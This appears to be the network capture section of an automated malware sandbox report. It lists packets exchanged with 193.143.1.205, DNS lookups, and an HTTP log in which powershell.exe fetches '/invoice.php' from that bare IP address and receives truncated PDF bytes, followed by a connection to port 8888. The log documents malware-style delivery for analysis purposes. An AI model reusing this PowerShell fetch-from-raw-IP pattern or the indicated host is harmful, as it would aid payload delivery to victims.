Jan 11, 2025 03:42:06.866350889 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.866377115 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.866559982 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.866573095 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.866583109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.866595030 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.866605997 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.866616011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.866616964 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.866632938 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.866647005 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.866658926 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.866955996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.866992950 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.882230997 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.882282019 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.882293940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.882325888 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.882401943 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.882416010 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.882443905 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.882571936 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.882585049 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.882596016 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.882608891 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.882632971 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.906959057 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.906972885 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.906985044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907048941 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907061100 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907073975 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907088041 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907190084 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.907190084 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.907299995 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907341957 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.907376051 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907388926 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907423973 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.907551050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907563925 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907588005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907601118 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907608986 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.907613993 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907635927 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.907893896 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907907963 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907921076 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907932043 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907938004 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.907947063 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907958031 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.907964945 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.907999992 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.908332109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.908343077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.908354998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.908366919 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.908371925 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.908380032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.908404112 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.908427954 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.908582926 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.908596039 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.908607960 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.908633947 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.908673048 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.908685923 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.908695936 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.908708096 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.908708096 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.908720970 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.908734083 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.908735037 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.908746958 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.908752918 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.908761024 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.908780098 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.909447908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.909461021 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.909471989 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.909482956 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.909495115 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.909497976 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.909507036 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.909519911 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.909526110 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.909532070 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.909544945 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.909558058 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.909569979 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.909571886 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.909588099 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.909600973 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.909610987 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.909610987 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.909638882 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.910376072 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.910387993 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.910399914 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.910410881 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.910423040 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.910443068 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.910445929 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.910459042 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.910465002 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.910471916 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.910475969 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.910485029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.910496950 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.910507917 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.910516024 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.910520077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.910530090 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.910533905 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.910545111 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.910557032 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.910557032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.910578966 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.913219929 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.923525095 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.923554897 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.923568010 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.923676014 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.923688889 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.923718929 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.923718929 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.923769951 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.923841953 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.923911095 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.923923016 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.923934937 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.923947096 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.923949957 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.923966885 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.924190044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.924202919 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.924213886 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.924223900 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.924230099 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.924258947 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.928282022 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.928322077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.928333998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.928353071 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.928390980 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.928513050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.928523064 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.928534985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.928545952 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.928558111 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.928570032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.928590059 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.928603888 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.953213930 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.953233957 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.953247070 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.953386068 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.953397989 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.953408957 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.953414917 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.953422070 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.953457117 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.953457117 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.953499079 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.953721046 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.953733921 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.953746080 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.953758001 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.953769922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.953788996 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.953816891 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.953990936 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.954004049 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.954015970 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.954026937 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.954035997 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.954039097 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.954051018 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.954058886 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.954086065 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.954356909 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.954374075 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.954385996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.954396009 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.954406023 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.954427004 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.969806910 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.969851017 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.969861031 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.969902039 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.969959974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.969970942 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.970021963 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.970021963 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.970021963 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.970144033 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.970156908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.970182896 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.994482040 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.994496107 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.994507074 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.994535923 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.994580030 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.994647980 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.994659901 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.994671106 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.994683981 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.994698048 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.994726896 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.994930029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.994942904 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.994982958 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.995001078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.995011091 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.995023012 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.995049953 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.995214939 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.995227098 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.995292902 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:07.042366028 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:07.056754112 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:07.149396896 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:07.331829071 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:07.809684038 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:07.814474106 CET	8888	49706	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:07.814680099 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:07.814737082 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:07.819541931 CET	8888	49706	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:08.649224043 CET	8888	49706	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:08.698559046 CET	49706	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:08.731388092 CET	49706	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:42:20.823899984 CET	53460	53	192.168.2.5	1.1.1.1
Jan 11, 2025 03:42:34.492156982 CET	50454	53	192.168.2.5	1.1.1.1
Jan 11, 2025 03:42:46.851319075 CET	55621	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:42:20.823899984 CET	192.168.2.5	1.1.1.1	0x6818	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:42:34.492156982 CET	192.168.2.5	1.1.1.1	0xc0e8	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 03:42:46.851319075 CET	192.168.2.5	1.1.1.1	0x81e1	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 11, 2025 03:42:20.831295013 CET	1.1.1.1	192.168.2.5	0x6818	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:42:34.499895096 CET	1.1.1.1	192.168.2.5	0xc0e8	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 03:42:46.858283997 CET	1.1.1.1	192.168.2.5	0x81e1	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	193.143.1.205	80	6460	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:42:05.392585993 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:42:06.216998100 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:42:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:42:06.217019081 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:42:06.217042923 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 03:42:06.217109919 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 03:42:06.217125893 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 03:42:06.217257977 CET	1236	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 03:42:06.217271090 CET	1236	IN	Data Raw: df 71 fb ff 88 01 f0 15 5a f1 86 8c cf c0 27 13 43 3f 56 c5 d0 ab 3e 86 9e 15 63 e8 db 57 83 e1 50 f3 98 fd fd 37 5d 0c bd 0a 63 e8 49 8a a1 67 f7 12 43 6f 6e 9e e6 c7 86 3e 04 c7 86 12 43 b7 65 ea 9b 13 00 00 c0 34 f8 62 09 00 26 17 de 78 6b 9a Data Ascii: qZ'C?V>cWP7]cIgCon>Ce4b&xkKEK_BXG:a!9KSRDs/rWUK<Z[axj?P/xy5KoeSco1>'f,12Cn1KCumg
